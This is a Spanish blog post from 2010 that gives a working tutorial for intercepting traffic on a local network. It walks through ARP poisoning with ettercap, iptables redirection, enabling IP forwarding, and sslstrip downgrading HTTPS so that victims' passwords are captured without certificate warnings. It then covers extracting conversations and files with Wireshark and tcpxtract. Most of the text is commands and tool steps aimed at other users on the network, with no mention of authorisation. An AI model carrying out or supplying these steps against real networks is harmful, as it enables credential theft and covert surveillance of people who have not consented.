miércoles, 22 de diciembre de 2010

Seguridad en redes: MITM, ARP spoofing y sniffer SSL

Investigando estos días he dado con un método bastante completo para la escucha de tráfico con el método MITM (Man in the middle), capturando contraseñas en texto plano y cifradas con ssl (https o "el candadito" del navegador como se conoce...).

Vamos por pasos:
1º- Tenemos que tener instalado en el pc los siguientes paquetes (Ubuntu 10.04):
      wireshark, ettercap, tcpxtract y sslstrip
      Los tres primeros están en los repos, mientras que el sslstrip es un script en python que se descarga desde aquí: Descarga SSLStrip.
2º-Después de tener todo instalado, editamos un archivo de ettercap:
     gedit /etc/etter.conf
Buscamos la zona que pone:
if you use iptables:
   #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Y la modificamos para que aparezca así, (simplemente descomentamos la primera):
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

3º-Ahora hacemos el MITM:
sudo bash
ettercap -C
vamos a la pestañas sniff y seleccionamos unified sniffing
seleccionamos el dispositivo que pondremos a la escucha (eth0, wlan0...)
A continuación seleccionamos Hosts y scan for hosts, cuando termine seleccionamos de nuevo Hosts y Hosts list (Nos aparecen todos los equipos conectados a la red)
Nos colocamos encima de la puerta de enlace y pulsamos el número 1, nos colocamos encima de todos los clientes y pulsamos el número 2 encima de cada uno de ellos. (No se si haré bien haciendo esto, pero tengo además la manía de hacer este proceso a la inversa, es decir, me coloco encima del AP y pulso 2 y encima de los clientes pulsando 1), de esta forma hacemos dos grupos, y nos colocamos entre medias de ellos, justo entre AP y clientes:

AP------------------------->Clientes (incluídos yo) este sería el esquema normal
AP------->YO----------->Resto de Clientes. Éste sería un MITM .

Seleccionamos MITM y arp poisoning y escribimos "remote"
Seleccionamos Start y start sniffing . Ahora mismo ya tenemos el MITM preparado.

4º-Como lo que estamos haciendo es engañar a router y clientes para que todo el tráfico pase por nosotros, es MUY IMPORTANTE habilitar el forwarder de nuestro sistema:
sudo bash
echo 1 >> /pro/sys/net/ipv4/ip_forward.

5º-En otra terminal nos colocamos en la carpeta descomprimida de sslstrip y ejecutamos el script de la siguiente forma:

python sslstrip.py -w NOMBREDELARCHIVODECAPTURA

El funcionamiento de SSLstrip es simple pero brillante, como todo el tráfico pasa por nuestra máquina, cuando recibe una solicitud https la transforma a http, es decir, hace como que quita el cifrado, por lo que no le aparece a la víctima ninguna alerta de certificado y no canta nada.

Después para ver el archivo:
nano NOMBREDELARCHIVODECAPTURA
o
watch "tail NOMBREDELARCHIVODECAPTURA" (para refrescarlo periodicamente)

6ºCon esto sacaríamos contraseñas http o https, pero si queremos más podemos ejecutar a la vez que todo esto wireshark y tcpxtract

sudo bash
Wireshark &
Seleccionamos la interfaz de escucha
y, por ejemplo, para ver conversaciones de tuenti, en filter escribimos: tcp contains "tuenti" (no me meto más en profundidad porque Wireshark tiene tela...)
Cuando tengamos suficiente podemos guardar la captura con file>export>objects>http y nos guarda algunos objetos que halla capturado (fotos, archivos...)

sudo bash
tcpxtract -d INTERFAZ -o DIRECTORIODONDEGUARDARLOSOBJETOS-->Con esto escuchamos directamente desde la interfaz
Si resulta que tenemos un .cap guardado y queremos ver que tenía lo ejecutamos de la forma siguiente:
tcpxtract -f ARCHIVO.CAP -o DIRECTORIODONDEGUARDARLOSOBJETOS

Creo que no me dejo nada... como esto es un medio borrador, intentaré ir mejorándolo con el tiempo.
Un saludo


Soporte informático y noticias en http://www.rootsystems.es/diseno-web-granada.html